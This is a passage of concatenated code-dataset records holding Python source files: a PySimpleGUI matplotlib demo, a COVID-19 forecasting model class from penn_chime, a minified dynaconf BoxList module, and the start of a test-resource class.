10.0, offsets=xyo, transOffset=ax3.transData)\n trans = transforms.Affine2D().scale(fig.dpi / 72.0)\n col.set_transform(trans) # the points to pixels transform\n ax3.add_collection(col, autolim=True)\n col.set_color(colors)\n ax3.autoscale_view()\n ax3.set_title('RegularPolyCollection using offsets')\n\n # Simulate a series of ocean current profiles, successively\n # offset by 0.1 m/s so that they form what is sometimes called\n # a \"waterfall\" plot or a \"stagger\" plot.\n\n nverts = 60\n ncurves = 20\n offs = (0.1, 0.0)\n\n yy = np.linspace(0, 2 * np.pi, nverts)\n ym = np.max(yy)\n xx = (0.2 + (ym - yy) / ym) ** 2 * np.cos(yy - 0.4) * 0.5\n segs = []\n for i in range(ncurves):\n xxx = xx + 0.02 * rs.randn(nverts)\n curve = np.column_stack([xxx, yy * 100])\n segs.append(curve)\n\n col = collections.LineCollection(segs, offsets=offs)\n ax4.add_collection(col, autolim=True)\n col.set_color(colors)\n ax4.autoscale_view()\n ax4.set_title('Successive data offsets')\n ax4.set_xlabel('Zonal velocity component (m/s)')\n ax4.set_ylabel('Depth (m)')\n # Reverse the y-axis so depth increases downward\n ax4.set_ylim(ax4.get_ylim()[::-1])\n return fig\n\ndef PyplotGGPlotSytleSheet():\n import numpy as np\n import matplotlib.pyplot as plt\n\n plt.style.use('ggplot')\n\n # Fixing random state for reproducibility\n np.random.seed(19680801)\n\n fig, axes = plt.subplots(ncols=2, nrows=2)\n ax1, ax2, ax3, ax4 = axes.ravel()\n\n # scatter plot (Note: `plt.scatter` doesn't use default colors)\n x, y = np.random.normal(size=(2, 200))\n ax1.plot(x, y, 'o')\n\n # sinusoidal lines with colors from default color cycle\n L = 2 * np.pi\n x = np.linspace(0, L)\n ncolors = len(plt.rcParams['axes.prop_cycle'])\n shift = np.linspace(0, L, ncolors, endpoint=False)\n for s in shift:\n ax2.plot(x, np.sin(x + s), '-')\n ax2.margins(0)\n\n # bar graphs\n x = np.arange(5)\n y1, y2 = np.random.randint(1, 25, size=(2, 5))\n width = 0.25\n ax3.bar(x, y1, width)\n ax3.bar(x + width, y2, width,\n color=list(plt.rcParams['axes.prop_cycle'])[2]['color'])\n ax3.set_xticks(x + width)\n ax3.set_xticklabels(['a', 'b', 'c', 'd', 'e'])\n\n # circles with colors from default color cycle\n for i, color in enumerate(plt.rcParams['axes.prop_cycle']):\n xy = np.random.normal(size=2)\n ax4.add_patch(plt.Circle(xy, radius=0.3, color=color['color']))\n ax4.axis('equal')\n ax4.margins(0)\n fig = plt.gcf() # get the figure to show\n return fig\n\ndef PyplotBoxPlot():\n import numpy as np\n import matplotlib.pyplot as plt\n\n # Fixing random state for reproducibility\n np.random.seed(19680801)\n\n # fake up some data\n spread = np.random.rand(50) * 100\n center = np.ones(25) * 50\n flier_high = np.random.rand(10) * 100 + 100\n flier_low = np.random.rand(10) * -100\n data = np.concatenate((spread, center, flier_high, flier_low), 0)\n fig1, ax1 = plt.subplots()\n ax1.set_title('Basic Plot')\n ax1.boxplot(data)\n return fig1\n\ndef PyplotRadarChart():\n import numpy as np\n\n import matplotlib.pyplot as plt\n from matplotlib.path import Path\n from matplotlib.spines import Spine\n from matplotlib.projections.polar import PolarAxes\n from matplotlib.projections import register_projection\n\n def radar_factory(num_vars, frame='circle'):\n \"\"\"Create a radar chart with `num_vars` axes.\n This function creates a RadarAxes projection and registers it.\n Parameters\n ----------\n num_vars : int\n Number of variables for radar chart.\n frame : {'circle' | 'polygon'}\n Shape of frame surrounding axes.\n \"\"\"\n # calculate evenly-spaced axis angles\n theta = np.linspace(0, 2 * np.pi, num_vars, endpoint=False)\n\n def draw_poly_patch(self):\n # rotate theta such that the first axis is at the top\n verts = unit_poly_verts(theta + np.pi / 2)\n return plt.Polygon(verts, closed=True, edgecolor='k')\n\n def draw_circle_patch(self):\n # unit circle centered on (0.5, 0.5)\n return plt.Circle((0.5, 0.5), 0.5)\n\n patch_dict = {'polygon': draw_poly_patch, 'circle': draw_circle_patch}\n if frame not in patch_dict:\n raise ValueError('unknown value for `frame`: %s' % frame)\n\n class RadarAxes(PolarAxes):\n\n name = 'radar'\n # use 1 line segment to connect specified points\n RESOLUTION = 1\n # define draw_frame method\n draw_patch = patch_dict[frame]\n\n def __init__(self, *args, **kwargs):\n super(RadarAxes, self).__init__(*args, **kwargs)\n # rotate plot such that the first axis is at the top\n self.set_theta_zero_location('N')\n\n def fill(self, *args, **kwargs):\n \"\"\"Override fill so that line is closed by default\"\"\"\n closed = kwargs.pop('closed', True)\n return super(RadarAxes, self).fill(closed=closed, *args, **kwargs)\n\n def plot(self, *args, **kwargs):\n \"\"\"Override plot so that line is closed by default\"\"\"\n lines = super(RadarAxes, self).plot(*args, **kwargs)\n for line in lines:\n self._close_line(line)\n\n def _close_line(self, line):\n x, y = line.get_data()\n # FIXME: markers at x[0], y[0] get doubled-up\n if x[0] != x[-1]:\n x = np.concatenate((x, [x[0]]))\n y = np.concatenate((y, [y[0]]))\n line.set_data(x, y)\n\n def set_varlabels(self, labels):\n self.set_thetagrids(np.degrees(theta), labels)\n\n def _gen_axes_patch(self):\n return self.draw_patch()\n\n def _gen_axes_spines(self):\n if frame == 'circle':\n return PolarAxes._gen_axes_spines(self)\n # The following is a hack to get the spines (i.e. the axes frame)\n # to draw correctly for a polygon frame.\n\n # spine_type must be 'left', 'right', 'top', 'bottom', or `circle`.\n spine_type = 'circle'\n verts = unit_poly_verts(theta + np.pi / 2)\n # close off polygon by repeating first vertex\n verts.append(verts[0])\n path = Path(verts)\n\n spine = Spine(self, spine_type, path)\n spine.set_transform(self.transAxes)\n return {'polar': spine}\n\n register_projection(RadarAxes)\n return theta\n\n def unit_poly_verts(theta):\n \"\"\"Return vertices of polygon for subplot axes.\n This polygon is circumscribed by a unit circle centered at (0.5, 0.5)\n \"\"\"\n x0, y0, r = [0.5] * 3\n verts = [(r * np.cos(t) + x0, r * np.sin(t) + y0) for t in theta]\n return verts\n\n def example_data():\n # The following data is from the Denver Aerosol Sources and Health study.\n # See doi:10.1016/j.atmosenv.2008.12.017\n #\n # The data are pollution source profile estimates for five modeled\n # pollution sources (e.g., cars, wood-burning, etc) that emit 7-9 chemical\n # species. The radar charts are experimented with here to see if we can\n # nicely visualize how the modeled source profiles change across four\n # scenarios:\n # 1) No gas-phase species present, just seven particulate counts on\n # Sulfate\n # Nitrate\n # Elemental Carbon (EC)\n # Organic Carbon fraction 1 (OC)\n # Organic Carbon fraction 2 (OC2)\n # Organic Carbon fraction 3 (OC3)\n # Pyrolized Organic Carbon (OP)\n # 2)Inclusion of gas-phase specie carbon monoxide (CO)\n # 3)Inclusion of gas-phase specie ozone (O3).\n # 4)Inclusion of both gas-phase species is present...\n data = [\n ['Sulfate', 'Nitrate', 'EC', 'OC1', 'OC2', 'OC3', 'OP', 'CO', 'O3'],\n ('Basecase', [\n [0.88, 0.01, 0.03, 0.03, 0.00, 0.06, 0.01, 0.00, 0.00],\n [0.07, 0.95, 0.04, 0.05, 0.00, 0.02, 0.01, 0.00, 0.00],\n [0.01, 0.02, 0.85, 0.19, 0.05, 0.10, 0.00, 0.00, 0.00],\n [0.02, 0.01, 0.07, 0.01, 0.21, 0.12, 0.98, 0.00, 0.00],\n [0.01, 0.01, 0.02, 0.71, 0.74, 0.70, 0.00, 0.00, 0.00]]),\n ('With CO', [\n [0.88, 0.02, 0.02, 0.02, 0.00, 0.05, 0.00, 0.05, 0.00],\n [0.08, 0.94, 0.04, 0.02, 0.00, 0.01, 0.12, 0.04, 0.00],\n [0.01, 0.01, 0.79, 0.10, 0.00, 0.05, 0.00, 0.31, 0.00],\n [0.00, 0.02, 0.03, 0.38, 0.31, 0.31, 0.00, 0.59, 0.00],\n [0.02, 0.02, 0.11, 0.47, 0.69, 0.58, 0.88, 0.00, 0.00]]),\n ('With O3', [\n [0.89, 0.01, 0.07, 0.00, 0.00, 0.05, 0.00, 0.00, 0.03],\n [0.07, 0.95, 0.05, 0.04, 0.00, 0.02, 0.12, 0.00, 0.00],\n [0.01, 0.02, 0.86, 0.27, 0.16, 0.19, 0.00, 0.00, 0.00],\n [0.01, 0.03, 0.00, 0.32, 0.29, 0.27, 0.00, 0.00, 0.95],\n [0.02, 0.00, 0.03, 0.37, 0.56, 0.47, 0.87, 0.00, 0.00]]),\n ('CO & O3', [\n [0.87, 0.01, 0.08, 0.00, 0.00, 0.04, 0.00, 0.00, 0.01],\n [0.09, 0.95, 0.02, 0.03, 0.00, 0.01, 0.13, 0.06, 0.00],\n [0.01, 0.02, 0.71, 0.24, 0.13, 0.16, 0.00, 0.50, 0.00],\n [0.01, 0.03, 0.00, 0.28, 0.24, 0.23, 0.00, 0.44, 0.88],\n [0.02, 0.00, 0.18, 0.45, 0.64, 0.55, 0.86, 0.00, 0.16]])\n ]\n return data\n\n N = 9\n theta = radar_factory(N, frame='polygon')\n\n data = example_data()\n spoke_labels = data.pop(0)\n\n fig, axes = plt.subplots(figsize=(9, 9), nrows=2, ncols=2,\n subplot_kw=dict(projection='radar'))\n fig.subplots_adjust(wspace=0.25, hspace=0.20, top=0.85, bottom=0.05)\n\n colors = ['b', 'r', 'g', 'm', 'y']\n # Plot the four cases from the example data on separate axes\n for ax, (title, case_data) in zip(axes.flatten(), data):\n ax.set_rgrids([0.2, 0.4, 0.6, 0.8])\n ax.set_title(title, weight='bold', size='medium', position=(0.5, 1.1),\n horizontalalignment='center', verticalalignment='center')\n for d, color in zip(case_data, colors):\n ax.plot(theta, d, color=color)\n ax.fill(theta, d, facecolor=color, alpha=0.25)\n ax.set_varlabels(spoke_labels)\n\n # add legend relative to top-left plot\n ax = axes[0, 0]\n labels = ('Factor 1', 'Factor 2', 'Factor 3', 'Factor 4', 'Factor 5')\n legend = ax.legend(labels, loc=(0.9, .95),\n labelspacing=0.1, fontsize='small')\n\n fig.text(0.5, 0.965, '5-Factor Solution Profiles Across Four Scenarios',\n horizontalalignment='center', color='black', weight='bold',\n size='large')\n return fig\n\ndef DifferentScales():\n import numpy as np\n import matplotlib.pyplot as plt\n\n # Create some mock data\n t = np.arange(0.01, 10.0, 0.01)\n data1 = np.exp(t)\n data2 = np.sin(2 * np.pi * t)\n\n fig, ax1 = plt.subplots()\n\n color = 'tab:red'\n ax1.set_xlabel('time (s)')\n ax1.set_ylabel('exp', color=color)\n ax1.plot(t, data1, color=color)\n ax1.tick_params(axis='y', labelcolor=color)\n\n ax2 = ax1.twinx() # instantiate a second axes that shares the same x-axis\n\n color = 'tab:blue'\n ax2.set_ylabel('sin', color=color) # we already handled the x-label with ax1\n ax2.plot(t, data2, color=color)\n ax2.tick_params(axis='y', labelcolor=color)\n\n fig.tight_layout() # otherwise the right y-label is slightly clipped\n return fig\n\ndef ExploringNormalizations():\n import matplotlib.pyplot as plt\n import matplotlib.colors as mcolors\n import numpy as np\n from numpy.random import multivariate_normal\n\n data = np.vstack([\n multivariate_normal([10, 10], [[3, 2], [2, 3]], size=100000),\n multivariate_normal([30, 20], [[2, 3], [1, 3]], size=1000)\n ])\n\n gammas = [0.8, 0.5, 0.3]\n\n fig, axes = plt.subplots(nrows=2, ncols=2)\n\n axes[0, 0].set_title('Linear normalization')\n axes[0, 0].hist2d(data[:, 0], data[:, 1], bins=100)\n\n for ax, gamma in zip(axes.flat[1:], gammas):\n ax.set_title(r'Power law $(\\gamma=%1.1f)$' % gamma)\n ax.hist2d(data[:, 0], data[:, 1],\n bins=100, norm=mcolors.PowerNorm(gamma))\n\n fig.tight_layout()\n return fig\n\ndef PyplotFormatstr():\n\n def f(t):\n return np.exp(-t) * np.cos(2*np.pi*t)\n\n t1 = np.arange(0.0, 5.0, 0.1)\n t2 = np.arange(0.0, 5.0, 0.02)\n\n plt.figure(1)\n plt.subplot(211)\n plt.plot(t1, f(t1), 'bo', t2, f(t2), 'k')\n\n plt.subplot(212)\n plt.plot(t2, np.cos(2*np.pi*t2), 'r--')\n fig = plt.gcf() # get the figure to show\n return fig\n\ndef UnicodeMinus():\n import numpy as np\n import matplotlib\n import matplotlib.pyplot as plt\n\n # Fixing random state for reproducibility\n np.random.seed(19680801)\n\n matplotlib.rcParams['axes.unicode_minus'] = False\n fig, ax = plt.subplots()\n ax.plot(10 * np.random.randn(100), 10 * np.random.randn(100), 'o')\n ax.set_title('Using hyphen instead of Unicode minus')\n return fig\n\ndef Subplot3d():\n from mpl_toolkits.mplot3d.axes3d import Axes3D\n from matplotlib import cm\n # from matplotlib.ticker import LinearLocator, FixedLocator, FormatStrFormatter\n import matplotlib.pyplot as plt\n import numpy as np\n\n fig = plt.figure()\n\n ax = fig.add_subplot(1, 2, 1, projection='3d')\n X = np.arange(-5, 5, 0.25)\n Y = np.arange(-5, 5, 0.25)\n X, Y = np.meshgrid(X, Y)\n R = np.sqrt(X ** 2 + Y ** 2)\n Z = np.sin(R)\n surf = ax.plot_surface(X, Y, Z, rstride=1, cstride=1, cmap=cm.jet,\n linewidth=0, antialiased=False)\n ax.set_zlim3d(-1.01, 1.01)\n\n # ax.w_zaxis.set_major_locator(LinearLocator(10))\n # ax.w_zaxis.set_major_formatter(FormatStrFormatter('%.03f'))\n\n fig.colorbar(surf, shrink=0.5, aspect=5)\n\n from mpl_toolkits.mplot3d.axes3d import get_test_data\n ax = fig.add_subplot(1, 2, 2, projection='3d')\n X, Y, Z = get_test_data(0.05)\n ax.plot_wireframe(X, Y, Z, rstride=10, cstride=10)\n return fig\n\ndef PyplotScales():\n import numpy as np\n import matplotlib.pyplot as plt\n\n from matplotlib.ticker import NullFormatter # useful for `logit` scale\n\n # Fixing random state for reproducibility\n np.random.seed(19680801)\n\n # make up some data in the interval ]0, 1[\n y = np.random.normal(loc=0.5, scale=0.4, size=1000)\n y = y[(y > 0) & (y < 1)]\n y.sort()\n x = np.arange(len(y))\n\n # plot with various axes scales\n plt.figure(1)\n\n # linear\n plt.subplot(221)\n plt.plot(x, y)\n plt.yscale('linear')\n plt.title('linear')\n plt.grid(True)\n\n # log\n plt.subplot(222)\n plt.plot(x, y)\n plt.yscale('log')\n plt.title('log')\n plt.grid(True)\n\n # symmetric log\n plt.subplot(223)\n plt.plot(x, y - y.mean())\n plt.yscale('symlog', linthreshy=0.01)\n plt.title('symlog')\n plt.grid(True)\n\n # logit\n plt.subplot(224)\n plt.plot(x, y)\n plt.yscale('logit')\n plt.title('logit')\n plt.grid(True)\n # Format the minor tick labels of the y-axis into empty strings with\n # `NullFormatter`, to avoid cumbering the axis with too many labels.\n plt.gca().yaxis.set_minor_formatter(NullFormatter())\n # Adjust the subplot layout, because the logit one may take more space\n # than usual, due to y-tick labels like \"1 - 10^{-3}\"\n plt.subplots_adjust(top=0.92, bottom=0.08, left=0.10, right=0.95, hspace=0.25,\n wspace=0.35)\n return plt.gcf()\n\n\ndef AxesGrid():\n import numpy as np\n import matplotlib.pyplot as plt\n from mpl_toolkits.axes_grid1.axes_rgb import RGBAxes\n\n def get_demo_image():\n # prepare image\n delta = 0.5\n\n extent = (-3, 4, -4, 3)\n x = np.arange(-3.0, 4.001, delta)\n y = np.arange(-4.0, 3.001, delta)\n X, Y = np.meshgrid(x, y)\n Z1 = np.exp(-X ** 2 - Y ** 2)\n Z2 = np.exp(-(X - 1) ** 2 - (Y - 1) ** 2)\n Z = (Z1 - Z2) * 2\n\n return Z, extent\n\n def get_rgb():\n Z, extent = get_demo_image()\n\n Z[Z < 0] = 0.\n Z = Z / Z.max()\n\n R = Z[:13, :13]\n G = Z[2:, 2:]\n B = Z[:13, 2:]\n\n return R, G, B\n\n fig = plt.figure(1)\n ax = RGBAxes(fig, [0.1, 0.1, 0.8, 0.8])\n\n r, g, b = get_rgb()\n kwargs = dict(origin=\"lower\", interpolation=\"nearest\")\n ax.imshow_rgb(r, g, b, **kwargs)\n\n ax.RGB.set_xlim(0., 9.5)\n ax.RGB.set_ylim(0.9, 10.6)\n\n plt.draw()\n return plt.gcf()\n\n\n\n# The magic function that makes it possible.... glues together tkinter and pyplot using Canvas Widget\ndef draw_figure(canvas, figure):\n figure_canvas_agg = FigureCanvasTkAgg(figure, canvas)\n figure_canvas_agg.draw()\n figure_canvas_agg.get_tk_widget().pack(side='top', fill='both', expand=1)\n return figure_canvas_agg\n\ndef delete_figure_agg(figure_agg):\n figure_agg.get_tk_widget().forget()\n plt.close('all')\n\n# -------------------------------- GUI Starts Here -------------------------------#\n# fig = your figure you want to display. Assumption is that 'fig' holds the #\n# information to display. #\n# --------------------------------------------------------------------------------#\n\nfig_dict = {'Pyplot Simple':PyplotSimple, 'Pyplot Formatstr':PyplotFormatstr,'PyPlot Three':Subplot3d,\n 'Unicode Minus': UnicodeMinus, 'Pyplot Scales' : PyplotScales, 'Axes Grid' : AxesGrid,\n 'Exploring Normalizations' : ExploringNormalizations, 'Different Scales' : DifferentScales,\n 'Pyplot Box Plot' : PyplotBoxPlot, 'Pyplot ggplot Style Sheet' : PyplotGGPlotSytleSheet,\n 'Pyplot Line Poly Collection' : PyplotLinePolyCollection, 'Pyplot Line Styles' : PyplotLineStyles,\n 'Pyplot Scatter With Legend' :PyplotScatterWithLegend, 'Artist Customized Box Plots' : PyplotArtistBoxPlots,\n 'Artist Customized Box Plots 2' : ArtistBoxplot2, 'Pyplot Histogram' : PyplotHistogram}\n\nsg.theme('Dark')\n\nfigure_w, figure_h = 650, 650\n# define the form layout\nlistbox_values = list(fig_dict)\ncol_listbox = [[sg.Listbox(values=listbox_values, enable_events=True, size=(28, len(listbox_values)), key='-LISTBOX-')],\n [sg.Text(' ' * 12), sg.Exit(size=(5, 2))]]\n\nlayout = [[sg.Text('Matplotlib Plot Test', font=('current 18'))],\n [sg.Col(col_listbox, pad=(5, (3, 330))), sg.Canvas(size=(figure_w, figure_h), key='-CANVAS-') ,\n sg.MLine(size=(70, 35), pad=(5, (3, 90)), key='-MULTILINE-')],]\n\n# create the form and show it without the plot\nwindow = sg.Window('Demo Application - Embedding Matplotlib In PySimpleGUI', layout, grab_anywhere=False, finalize=True)\nfigure_agg = None\n# The GUI Event Loop\nwhile True:\n event, values = window.read()\n # print(event, values) # helps greatly when debugging\n if event in (None, 'Exit'): # if user closed window or clicked Exit button\n break\n if figure_agg:\n # ** IMPORTANT ** Clean up previous drawing before drawing again\n delete_figure_agg(figure_agg)\n choice = values['-LISTBOX-'][0] # get first listbox item chosen (returned as a list)\n func = fig_dict[choice] # get function to call from the dictionary\n window['-MULTILINE-'].update(inspect.getsource(func)) # show source code to function in multiline\n fig = func() # call function to get the figure\n figure_agg = draw_figure(window['-CANVAS-'].TKCanvas, fig) # draw the figure\nwindow.close()","sub_path":"scritps/demos/plot_demo.py","file_name":"plot_demo.py","file_ext":"py","file_size_in_byte":31124,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"395401155","text":"import datetime\nfrom typing import List\nimport json\n\nimport pandas as pd\nimport numpy as np\nimport requests\nimport streamlit as st\n\nfrom .model_base import SimSirModelBase\nfrom .parameters import Parameters, ForecastMethod, ForecastedMetric\n\nEPOCH_START = datetime.datetime(1970, 1, 1)\n\nclass EmpiricalModel(SimSirModelBase):\n min_cases = 5\n\n @classmethod\n def can_use_actuals(cls, actuals: pd.DataFrame):\n if (\"total_admissions_actual\" in actuals.columns \n and np.max(np.cumsum(actuals.total_admissions_actual)) >= cls.min_cases):\n return True\n return False\n\n @classmethod\n def get_actuals_invalid_message(cls):\n return \"\"\"

In order to use actual data to predict COVID-19 demand please include the following columns: 'date', and 'total_admissions_actual'. \n See the Working with Actuals section for details about supported columns and data types.

\"\"\"\n\n def __init__(self, p: Parameters, actuals: pd.DataFrame, states: List[str], counties: List[str], population: int):\n super(EmpiricalModel, self).__init__(p)\n \n method = ForecastMethod.to_r_method(p.forecast_method)\n metric = ForecastedMetric.to_r_metric(p.forecasted_metric)\n n_days = p.n_days\n inf_days = p.infectious_days\n py_in_df = self.r_input_from_actuals(actuals, states, counties, population)\n payload = json.loads(py_in_df.to_json(orient=\"records\", date_format='iso'))\n response = requests.post(\n \"http://localhost:8765/\", \n json=payload, \n params={\"method\": method, \"metric\": metric, \"n_days\": n_days, \"inf_days\":inf_days}\n )\n if response.status_code == 400:\n st.markdown(f\"\"\"\n \n {response.text}
\n This can usually be fixed by aggregating more counties together \n to increase the number of cases.\n
\n \"\"\",unsafe_allow_html=True)\n self.fail_flag = True\n else:\n self.fail_flag = False\n response.raise_for_status()\n self.r_df = out_py_df = self.py_df_from_json_response(response.json())\n\n self.raw = raw = self.raw_from_r_output(out_py_df, p)\n\n self.calculate_dispositions(raw, self.rates, self.p.market_share)\n self.calculate_admits(raw, self.rates, p)\n self.calculate_census(raw, self.days)\n self.add_counts()\n # Add day number to R dataframe\n self.r_df[\"day\"] = self.admits_df.day\n\n def py_df_from_json_response(self, response_json):\n df = pd.read_json(response_json)\n df.rst.iloc[0] = 1\n rst_is_zero = df.rst == 0\n columns = ['cases', 'cumCases']\n for column in columns:\n df.loc[rst_is_zero, column] = np.nan\n return (df)\n \n def dates_from_r_dates(self, elapsed_days):\n return EPOCH_START + datetime.timedelta(days=elapsed_days)\n\n def r_input_from_actuals(self, actuals, states, counties, population):\n \n states_str = \"-\".join(states)\n counties_str = \"-\".join(counties)\n region_str = \":\".join([states_str, counties_str]).replace(' ', '')\n\n return (\n actuals\n .loc[actuals.state.isin(states) & actuals.county.isin(counties)]\n .groupby('date')\n .agg({\n \"cases\": \"sum\",\n \"pop_est2019\": \"sum\",\n })\n .reset_index()\n .rename(columns={\"cases\": \"cumCases\", \"pop_est2019\": \"pop\"})\n .assign(\n # Get daily cases from cumulative cases\n cases = lambda d: d.cumCases - d.cumCases.shift(1, fill_value=0),\n # Jason's code expects a 'rgn' column. He has it formatted as : but I don't \n # think the column is really used.\n rgn = region_str, \n # Take max population since regions may have different start days\n pop = population, \n )\n )\n\n def raw_from_r_output(self, r_output_df, p):\n # Construct day column\n day_series = r_output_df.date.apply(lambda d: (d.to_pydatetime().date() - p.current_date).days)\n return {\n \"day\": day_series.values,\n \"date\": day_series.values.astype(\"timedelta64[D]\") + np.datetime64(p.current_date),\n \"susceptible\": r_output_df.s.values,\n \"infected\": r_output_df.i.values,\n \"recovered\": r_output_df.r.values,\n \"ever_infected\": r_output_df.i.values + r_output_df.r.values,\n }\n","sub_path":"src/penn_chime/empirical_model.py","file_name":"empirical_model.py","file_ext":"py","file_size_in_byte":4695,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"437725522","text":"_H='toml'\n_G='box_dots'\n_F='BoxList is frozen'\n_E='frozen_box'\n_D=False\n_C='strict'\n_B='utf-8'\n_A=None\nimport copy,re\nfrom typing import Iterable,Optional\nfrom dynaconf.vendor import box\nfrom .converters import _to_yaml,_from_yaml,_to_json,_from_json,_to_toml,_from_toml,_to_csv,_from_csv,BOX_PARAMETERS\nfrom .exceptions import BoxError,BoxTypeError,BoxKeyError\n_list_pos_re=re.compile('\\\\[(\\\\d+)\\\\]')\nDYNABOX_CLASS=_A\ndef get_dynabox_class_avoiding_circular_import():\n\tglobal DYNABOX_CLASS\n\tif DYNABOX_CLASS is _A:from dynaconf.utils.boxing import DynaBox as A;DYNABOX_CLASS=A\n\treturn DYNABOX_CLASS\nclass BoxList(list):\n\tdef __init__(A,iterable=_A,box_class=_A,**C):\n\t\tB=iterable;A.box_class=box_class or get_dynabox_class_avoiding_circular_import();A.box_options=C;A.box_org_ref=A.box_org_ref=id(B)if B else 0\n\t\tif B:\n\t\t\tfor D in B:A.append(D)\n\t\tif C.get(_E):\n\t\t\tdef E(*A,**B):raise BoxError(_F)\n\t\t\tfor F in ['append','extend','insert','pop','remove','reverse','sort']:A.__setattr__(F,E)\n\tdef __getitem__(B,item):\n\t\tA=item\n\t\tif B.box_options.get(_G)and isinstance(A,str)and A.startswith('['):\n\t\t\tC=_list_pos_re.search(A);D=super(BoxList,B).__getitem__(int(C.groups()[0]))\n\t\t\tif len(C.group())==len(A):return D\n\t\t\treturn D.__getitem__(A[len(C.group()):].lstrip('.'))\n\t\treturn super(BoxList,B).__getitem__(A)\n\tdef __delitem__(A,key):\n\t\tif A.box_options.get(_E):raise BoxError(_F)\n\t\tsuper(BoxList,A).__delitem__(key)\n\tdef __setitem__(B,key,value):\n\t\tC=value;A=key\n\t\tif B.box_options.get(_E):raise BoxError(_F)\n\t\tif B.box_options.get(_G)and isinstance(A,str)and A.startswith('['):\n\t\t\tD=_list_pos_re.search(A);E=int(D.groups()[0])\n\t\t\tif len(D.group())==len(A):return super(BoxList,B).__setitem__(E,C)\n\t\t\treturn super(BoxList,B).__getitem__(E).__setitem__(A[len(D.group()):].lstrip('.'),C)\n\t\tsuper(BoxList,B).__setitem__(A,C)\n\tdef _is_intact_type(A,obj):\n\t\tC='box_intact_types'\n\t\ttry:\n\t\t\tif A.box_options.get(C)and isinstance(obj,A.box_options[C]):return True\n\t\texcept AttributeError as B:\n\t\t\tif'box_options'in A.__dict__:raise BoxKeyError(B)\n\t\treturn _D\n\tdef append(A,p_object):\n\t\tB=p_object\n\t\tif isinstance(B,dict)and not A._is_intact_type(B):\n\t\t\ttry:B=A.box_class(B,**A.box_options)\n\t\t\texcept AttributeError as C:\n\t\t\t\tif'box_class'in A.__dict__:raise BoxKeyError(C)\n\t\telif isinstance(B,list)and not A._is_intact_type(B):\n\t\t\ttry:B=A if id(B)==A.box_org_ref else BoxList(B,**A.box_options)\n\t\t\texcept AttributeError as C:\n\t\t\t\tif'box_org_ref'in A.__dict__:raise BoxKeyError(C)\n\t\tsuper(BoxList,A).append(B)\n\tdef extend(A,iterable):\n\t\tfor B in iterable:A.append(B)\n\tdef insert(B,index,p_object):\n\t\tA=p_object\n\t\tif isinstance(A,dict)and not B._is_intact_type(A):A=B.box_class(A,**B.box_options)\n\t\telif isinstance(A,list)and not B._is_intact_type(A):A=B if id(A)==B.box_org_ref else BoxList(A)\n\t\tsuper(BoxList,B).insert(index,A)\n\tdef __repr__(A):return f\"\"\n\tdef __str__(A):return str(A.to_list())\n\tdef __copy__(A):return BoxList((B for B in A),A.box_class,**A.box_options)\n\tdef __deepcopy__(B,memo=_A):\n\t\tA=memo;C=B.__class__();A=A or{};A[id(B)]=C\n\t\tfor D in B:C.append(copy.deepcopy(D,memo=A))\n\t\treturn C\n\tdef __hash__(A):\n\t\tif A.box_options.get(_E):B=98765;B^=hash(tuple(A));return B\n\t\traise BoxTypeError(\"unhashable type: 'BoxList'\")\n\tdef to_list(C):\n\t\tA=[]\n\t\tfor B in C:\n\t\t\tif B is C:A.append(A)\n\t\t\telif isinstance(B,box.Box):A.append(B.to_dict())\n\t\t\telif isinstance(B,BoxList):A.append(B.to_list())\n\t\t\telse:A.append(B)\n\t\treturn A\n\tdef to_json(D,filename=_A,encoding=_B,errors=_C,multiline=_D,**E):\n\t\tC=errors;B=encoding;A=filename\n\t\tif A and multiline:\n\t\t\tF=[_to_json(A,filename=_D,encoding=B,errors=C,**E)for A in D]\n\t\t\twith open(A,'w',encoding=B,errors=C)as G:G.write('\\n'.join(F))\n\t\telse:return _to_json(D.to_list(),filename=A,encoding=B,errors=C,**E)\n\t@classmethod\n\tdef from_json(E,json_string=_A,filename=_A,encoding=_B,errors=_C,multiline=_D,**A):\n\t\tD={}\n\t\tfor B in list(A.keys()):\n\t\t\tif B in BOX_PARAMETERS:D[B]=A.pop(B)\n\t\tC=_from_json(json_string,filename=filename,encoding=encoding,errors=errors,multiline=multiline,**A)\n\t\tif not isinstance(C,list):raise BoxError(f\"json data not returned as a list, but rather a {type(C).__name__}\")\n\t\treturn E(C,**D)\n\tdef to_yaml(A,filename=_A,default_flow_style=_D,encoding=_B,errors=_C,**B):return _to_yaml(A.to_list(),filename=filename,default_flow_style=default_flow_style,encoding=encoding,errors=errors,**B)\n\t@classmethod\n\tdef from_yaml(E,yaml_string=_A,filename=_A,encoding=_B,errors=_C,**A):\n\t\tD={}\n\t\tfor B in list(A.keys()):\n\t\t\tif B in BOX_PARAMETERS:D[B]=A.pop(B)\n\t\tC=_from_yaml(yaml_string=yaml_string,filename=filename,encoding=encoding,errors=errors,**A)\n\t\tif not isinstance(C,list):raise BoxError(f\"yaml data not returned as a list but rather a {type(C).__name__}\")\n\t\treturn E(C,**D)\n\tdef to_toml(A,filename=_A,key_name=_H,encoding=_B,errors=_C):return _to_toml({key_name:A.to_list()},filename=filename,encoding=encoding,errors=errors)\n\t@classmethod\n\tdef from_toml(F,toml_string=_A,filename=_A,key_name=_H,encoding=_B,errors=_C,**C):\n\t\tA=key_name;D={}\n\t\tfor B in list(C.keys()):\n\t\t\tif B in BOX_PARAMETERS:D[B]=C.pop(B)\n\t\tE=_from_toml(toml_string=toml_string,filename=filename,encoding=encoding,errors=errors)\n\t\tif A not in E:raise BoxError(f\"{A} was not found.\")\n\t\treturn F(E[A],**D)\n\tdef to_csv(A,filename,encoding=_B,errors=_C):_to_csv(A,filename=filename,encoding=encoding,errors=errors)\n\t@classmethod\n\tdef from_csv(A,filename,encoding=_B,errors=_C):return A(_from_csv(filename=filename,encoding=encoding,errors=errors))","sub_path":"dynaconf/vendor/box/box_list.py","file_name":"box_list.py","file_ext":"py","file_size_in_byte":5501,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"19007058","text":"import logging\nimport os\nimport os.path\nimport pexpect\nimport string\nimport tempfile\nimport unittest\nimport msw\nfrom qm.test.result import Result\n\nclass MswResourceError(Exception):\n \"Base class for exceptions raised during MSW Resource snapshot\"\n\n def __init__(self, errMessage):\n self.msg = errMessage\n\n \nclass MswResource(object):\n \"\"\"\n Abstract class for taking resource snapshot at MSW. \n\n \"\"\"\n def __init__(self, path=None):\n self.mswpath = path\n \n # Connect to logging started earlier\n 